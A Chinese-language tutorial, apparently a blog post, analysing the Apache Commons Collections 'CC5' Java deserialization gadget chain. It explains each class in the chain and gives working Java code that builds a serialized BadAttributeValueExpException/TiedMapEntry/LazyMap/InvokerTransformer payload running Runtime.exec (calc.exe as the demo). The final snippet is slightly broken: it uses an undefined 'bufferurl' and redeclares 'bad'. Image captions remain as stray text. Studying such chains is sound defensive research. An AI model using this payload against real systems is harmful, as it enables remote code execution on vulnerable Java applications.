返序列化用到的类分析

ChainedTransformer

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
  }

  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }
      return object;
  }

这个类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。最终实现了Runtime.class.getMethod("getRuntime").invoke(null)).exec(cmd)

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class chain {
    public static void main(String[] args) {
        // 定义需要执行的本地系统命令
        String cmd = "calc.exe";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };

        // 创建ChainedTransformer调用链对象
        Transformer transformedChain = new ChainedTransformer(transformers);

        // 执行对象转换操作
        transformedChain.transform(null);
    }
}

CC链5分析_反序列化

接下来对ChainedTransformer数组中的每个Transformer进行分析,上面说到,链式调用是依次的去调用每一个Transformertransform方法,那么他们的每个Transformer的transform方法是什么样的。

ConstantTransformer

CC链5分析_apache_02

它的transform是直接返回你传入的对象实例,如上面的Runtime.class

InvokerTransformer

CC链5分析_get方法_03

它的transform方法是反射获取Class类实例,这个input就是ConstantTransformer调用Transformer返回的Runtime.class,再去反射获取类的方法。返回的是类的方法,如上面的getRuntime方法,再返回ChainedTransformer这个类看一下

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
  }

  public Object transform(Object object) {
      for (int i = 0; i < iTransformers.length; i++) {
          object = iTransformers[i].transform(object);
      }
      return object;
  }

上面的input.getClass的input就是这个循环里面的传入的object,然后接着调用InvokerTransformer的Transformer方法获取了invoke,最后还是InvokerTransformer,调用了exec执行命令。

所以哪个憨批去调用了一个可控对象(如上面的transformedChain)的transform方法,就完成了命令执行,接着往上找

在CC5中,存在一个类LazyMap,会将我们传入的对象通过 transform 方法转换

CC链5分析_apache_04

CC链5分析_数组_05

这个factory实例只要传入我们的transformedChain就可以完成命令执行

现在我们的目标变成了找到一个类的的readObject会调用反序列化对象的get方法了。但是仍然没有,所以继续往下找哪个类的哪个函数会调用传入参数的get方法。

TiedMapEntry类的toString方法,调用 map 的 getKey 与 getValue 方法

CC链5分析_反序列化_06

CC链5分析_java_07

我们只需要让 TideMapEntry 对象中的 map 为我们上一步创建的 lazymap 即可。

现在继续寻找哪个类readObject 方法中会自动调用对象的 toString 方 法。

在 BadAttributeValueExpException 的 readObject 方法中会自动调用对象的 toString 方 法。(javax.management.BadAttributeValueExpException
CC链5分析_java_08

所以现在的思路是:

BadAttributeValueExpException 对象->设置val 字段值为

TiedMapEntry 对象->设置map为LazyMap对象

LazyMap 对象 -> 设置factory 为 ChainedTransformer对象

ChainedTransformer对象 -> 命令执行链

String cmd = "calc.exe";

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{
                        String.class, Class[].class}, new Object[]{
                        "getRuntime", new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[]{
                        Object.class, Object[].class}, new Object[]{
                        null, new Object[0]}
                ),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
        };
        Transformer transformedChain = new ChainedTransformer(transformers);
        Map m = new HashMap();
        //创建LazyMap对象
        Map lazymap = LazyMap.decorate(m,transformedChain);
        //创建TiedMapEntry对象
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,1);
        //创建BadAttributeValueExpException对象
        BadAttributeValueExpException bad = new BadAttributeValueExpException(1);
        Class badc = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = badc.getDeclaredField("val");
        val.setAccessible(true);
        val.set(bad,tiedMapEntry);
        //LazyMap lazyMap = new LazyMap(m,transformedChain);
        //反序列化demo
        ByteArrayOutputStream bufferbad = new ByteArrayOutputStream();
        ObjectOutputStream ob  = new ObjectOutputStream(bufferbad);
        ob.writeObject(bad);
        ob.close();
        ByteArrayInputStream b = new ByteArrayInputStream(bufferurl.toByteArray());
        ObjectInputStream bad = new ObjectInputStream(b);
        bad.readObject();